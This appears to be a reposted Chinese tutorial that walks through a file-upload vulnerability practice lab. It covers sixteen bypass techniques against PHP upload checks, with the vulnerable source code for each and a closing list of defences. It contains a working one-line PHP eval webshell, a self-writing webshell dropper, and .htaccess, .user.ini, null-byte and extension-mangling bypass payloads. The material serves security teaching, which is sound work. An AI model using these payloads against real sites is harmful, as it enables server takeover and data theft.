Web安全:文件上傳漏洞測試.
現在大多的網站和Web應用系統(tǒng)都會有上傳功能(比如:文檔,圖片,頭像,視頻上傳等.),而程序員在開發(fā)文件上傳功能時,沒有對代碼做嚴格校驗上傳文件的后綴和文件類型,此時攻擊者就可以上傳一個與網站腳本語言相對應的惡意代碼動態(tài)腳本,例如(php,jsp、aspx,asp文件后綴)到服務器上,并將惡意文件傳遞給網站腳本語言去執(zhí)行,然后就可以在服務器上執(zhí)行惡意代碼,進行數據庫執(zhí)行、服務器文件管理,服務器命令執(zhí)行等惡意操作.
目錄:
Web安全:文件上傳漏洞測試.
文件上傳漏洞危害:
編寫一句話程序:
文件上傳漏洞 實戰(zhàn)測試:
(1)前端 對不合法圖片進行檢查!
(2)后端 對數據的 文件類型 進行檢查!
(3)后端 對數據的 擴展名(后綴) 進行檢查!(使用 雙寫繞過)
(4)后端 對大多數的數據?擴展名(后綴) 進行檢查?。ㄊ褂?.htaccess 文件繞過)
(5)后端?上傳目錄存在 php 文件(利用 .user.ini 文件繞過)
(6)利用 大小寫繞過.
(7)利用 php后面加一個空格 繞過.
(8)利用 php后面加一個點 . 繞過.
(9)利用?末尾文件流?繞過.
(10)在 php 后綴添加 (.空格.)進行繞過.
(11)把?php 后綴改為中 pphphp 進行繞過.
(12)在文件存儲路徑中 利用 %00?截斷?進行繞過.(GET %00截斷)
(13)在文件存儲路徑中 利用 %00?截斷?進行繞過.(POST?%00 截斷)
(14)利用 圖片馬 進行繞過.(存在 文件包含漏洞 才行.)
(15)利用 不斷上傳生成新的文件?進行繞過.
(16)涉及到 數組和文件類型 的進行繞過.
文件上傳漏洞的防御:
文件上傳漏洞危害:
(1)上傳漏洞與SQL注入或 XSS相比,其風險更大,如果 Web應用程序存在上傳漏洞,攻擊者上傳的
文件是Web腳本語言,服務器的Web容器解釋并執(zhí)行了用戶上傳的腳本,導致代碼執(zhí)行.
(2)但是攻擊者要是上傳的文件是病毒、木馬文件,就可以誘騙用戶或者管理員下載執(zhí)行。如果上傳
的文件是釣魚圖片或為包含了腳本的圖片,在某些版本的瀏覽器中會被作為腳本執(zhí)行,被用于釣魚和欺
詐。甚至攻擊者可以直接上傳一個webshell到服務器上 完全控制系統(tǒng)或致使系統(tǒng)癱瘓.
編寫一句話程序:
<?php phpinfo();?> //測試
<?php //一句話木馬程序
@eval($_POST['bgxg']);
?>
文件上傳漏洞 實戰(zhàn)測試:
(1)前端 對不合法圖片進行檢查!
我們把 一句話程序(木馬) 的后綴改為一個合法的( jpg文件 ),在上傳時候的打開 Burp 進行抓包.
使用連接工具進行:連接(菜刀)
程序代碼:
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("請選擇要上傳的文件!");
return false;
}
//定義允許上傳的文件類型
var allow_ext = ".jpg|.png|.gif";
//提取上傳文件的類型
var ext_name = file.substring(file.lastIndexOf("."));
//判斷上傳文件類型是否允許上傳
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "該文件不允許上傳,請上傳" + allow_ext + "類型的文件,當前文件類型為:" + ext_name;
alert(errMsg);
return false;
}
}
(2)后端 對數據的 文件類型 進行檢查!
在上傳時候的打開 Burp 進行抓包.
通過burp抓包,修改文件類型為 image/gif、image/jpeg、image/png,image/jpeg
程序代碼:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else {
$msg = '文件類型不正確,請重新上傳!';
}
} else {
$msg = UPLOAD_PATH.'文件夾不存在,請手工創(chuàng)建!';
}
}
(3)后端 對數據的 擴展名(后綴) 進行檢查!(使用 雙寫繞過)
在上傳時候的打開 Burp 進行抓包.
在文件的后綴加 ::$D::$DATAATA // 雙寫繞過.
程序代碼:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//刪除文件名末尾的點
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉換為小寫
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else {
$msg = '不允許上傳.asp,.aspx,.php,.jsp后綴文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請手工創(chuàng)建!';
}
}
(4)后端 對大多數的數據?擴展名(后綴) 進行檢查?。ㄊ褂?.htaccess 文件繞過)
在源碼中對擴展名進行了黑名單限制,所限制的文件類型不全,可上傳.htaccess 文件可利用該文件解析
規(guī)則增加新的可執(zhí)行的擴展名.bgxg 繞過,文件內容如下:
AddType application/x-httpd-php .bgxg
然后把這個文件上傳 .htaccess
上傳后,我們再上傳我們的 .bgxg 后綴文件就行.
程序代碼:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//刪除文件名末尾的點
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉換為小寫
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else {
$msg = '此文件不允許上傳!';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請手工創(chuàng)建!';
}
}
(5)后端?上傳目錄存在 php 文件(利用 .user.ini 文件繞過)
.user.ini 文件中的內容:
auto_append_file=文件名字.png
在 圖片中添加 的內容:
<?php
@eval($_POST['bgxg']);
?>
上傳 .user.ini 文件,然后再把 txt文件 上傳.
然后再進行訪問這個圖片(看看有沒有被執(zhí)行里面的代碼),再使用工具連接.
程序代碼:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//刪除文件名末尾的點
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉換為小寫
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else {
$msg = '此文件類型不允許上傳!';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請手工創(chuàng)建!';
}
}
(6)利用 大小寫繞過.
上傳 PHp后綴 的文件.
程序代碼:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//刪除文件名末尾的點
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else {
$msg = '此文件類型不允許上傳!';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請手工創(chuàng)建!';
}
}
(7)利用 php后面加一個空格 繞過.
在上傳時候的打開 Burp 進行抓包.
程序代碼:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//刪除文件名末尾的點
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉換為小寫
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else {
$msg = '此文件不允許上傳';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請手工創(chuàng)建!';
}
}
(8)利用 php后面加一個點 . 繞過.
在上傳時候的打開 Burp 進行抓包.
程序代碼:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉換為小寫
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else {
$msg = '此文件類型不允許上傳!';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請手工創(chuàng)建!';
}
}
(9)利用?末尾文件流?繞過.
在上傳時候的打開 Burp 進行抓包.
在 php 后綴后面添加 ::$DATA
程序代碼:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//刪除文件名末尾的點
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉換為小寫
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else {
$msg = '此文件類型不允許上傳!';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請手工創(chuàng)建!';
}
}
(10)在 php 后綴添加 (.空格.)進行繞過.
在上傳時候的打開 Burp 進行抓包.
把 .php 后綴后面添加. .
程序代碼:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//刪除文件名末尾的點
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉換為小寫
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else {
$msg = '此文件類型不允許上傳!';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請手工創(chuàng)建!';
}
}
(11)把?php 后綴改為中 pphphp 進行繞過.
在上傳時候的打開 Burp 進行抓包.
把?.php 后綴改為中 .pphphp 進行繞過.
程序代碼:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請手工創(chuàng)建!';
}
}
(12)在文件存儲路徑中 利用 %00?截斷?進行繞過.(GET %00截斷)
采用 %00 截斷,需要的php版本<5.3.4,還要將【magic_quotes_gpc】參數關閉
在上傳時候的打開 Burp 進行抓包.
在文件的路徑中添加 一個自己想要的文件名.(bgxg.php),在后面再添加 %00
//這個是用來保存我們上傳文件的內容.
再把我們上傳的文件名改為一個合法的 .jpg 文件
然后再去訪問 bgxg.php 文件,利用工具連接就行.
程序代碼:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else{
$msg = "只允許上傳.jpg|.png|.gif類型文件!";
}
}
(13)在文件存儲路徑中 利用 %00?截斷?進行繞過.(POST?%00 截斷)
采用 %00 截斷,需要的php版本<5.3.4,還要將【magic_quotes_gpc】參數關閉
在上傳時候的打開 Burp 進行抓包.
在文件的路徑中添加 一個自己想要的文件名.(bgxg.php),在后面再添加 %00
%00 再改為十六進制的
//這個是用來保存我們上傳文件的內容.
再把我們上傳的文件名改為一個合法的 .jpg 文件
然后再去訪問 bgxg.php 文件,利用工具連接就行.
程序代碼:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上傳失敗";
}
} else {
$msg = "只允許上傳.jpg|.png|.gif類型文件!";
}
}
(14)利用 圖片馬 進行繞過.(存在 文件包含漏洞 才行.)
原理:上傳一個圖片木馬,然后用文件包含漏洞去解析這個圖片,從而讓里面的代碼執(zhí)行.
制作一個圖片木馬.(010Editor 工具)
然后進行上傳,再找到存在文件包含漏洞的地方,去利用這個漏洞去解析圖片中的木馬,再使用連接工具
進行連接.
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只讀2字節(jié)
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上傳失??!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上傳出錯!";
}
}
}
(15)利用 不斷上傳生成新的文件?進行繞過.
原理:把文件上傳之后進行檢查,發(fā)現是不合法的文件則刪除,所以我們可以上傳一個文件木馬,然后
不停的訪問,讓他在那個上傳路徑中生成出一個新的文件.
上傳訪問這個文件,進行生成新的文件(bgxg.php),文件內容:
<?php fputs(fopen('bgxg.php','w'),'<?php @eval($_POST["bgxg"]); ?>'); ?>
在 1.php 上傳時候的打開 Burp 進行抓包,然后發(fā)給測試器,然后放包.
在 測試器 中 添加 ?_t=$1$
我們隨便上傳一個文件,查看它的存儲目錄在哪,然后進行訪問我們上傳的 1.php 抓包,然后發(fā)給
測試器,然后放包.
在 測試器 中 添加 ?_t=$1$
進行測試:
然后我們查看有沒有生成的文件成功:(去訪問生成的新文件 bgxg.php)
程序代碼:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允許上傳.jpg|.png|.gif類型文件!";
unlink($upload_file);
}
}else{
$msg = '上傳出錯!';
}
}
(16)涉及到 數組和文件類型 的進行繞過.
在上傳時候的打開 Burp 進行抓包.
(1)通過burp抓包,修改文件類型為image/jpeg
(2)添加下面的操作
文件上傳漏洞的防御:
(1)對文件的后綴 進行檢測.
(2)在前端布置web防火墻,檢測上傳的是否有eval($_POST[])這樣的標記.
(3)文件上傳的目錄設置為不可執(zhí)行(只要web容器無法解析該目錄下面的文件,即使攻擊者上傳了腳本
文件,服務器本身也不會受到影響.)
(4)使用隨機數改寫文件名和文件路徑(文件上傳如果要執(zhí)行代碼,則需要用戶能夠訪問到這個文件)
(5)提高開發(fā)人員的安全意識,尤其是采用PHP語言開發(fā)系統(tǒng)(在程序開發(fā)階段應充分考慮程序的安全性)
(6)應用系統(tǒng)上線后,要增加運維人員的安全意思,積極使用多個安全檢測工具對應用系統(tǒng)進行安全掃描,
及時發(fā)現潛在漏洞并修復.
? ? ? ?文章來源:http://www.zghlxwxcb.cn/news/detail-664881.html
? ? ??
? ? ? ?
參考學習視頻:Upload Labs 文件上傳靶機通關 19.第二十一關【滲透測試學習歷程】_嗶哩嗶哩_bilibili文章來源地址http://www.zghlxwxcb.cn/news/detail-664881.html
到了這里,關于Web安全:文件上傳漏洞測試(防止 黑客利用此漏洞.)的文章就介紹完了。如果您還想了解更多內容,請在右上角搜索TOY模板網以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網!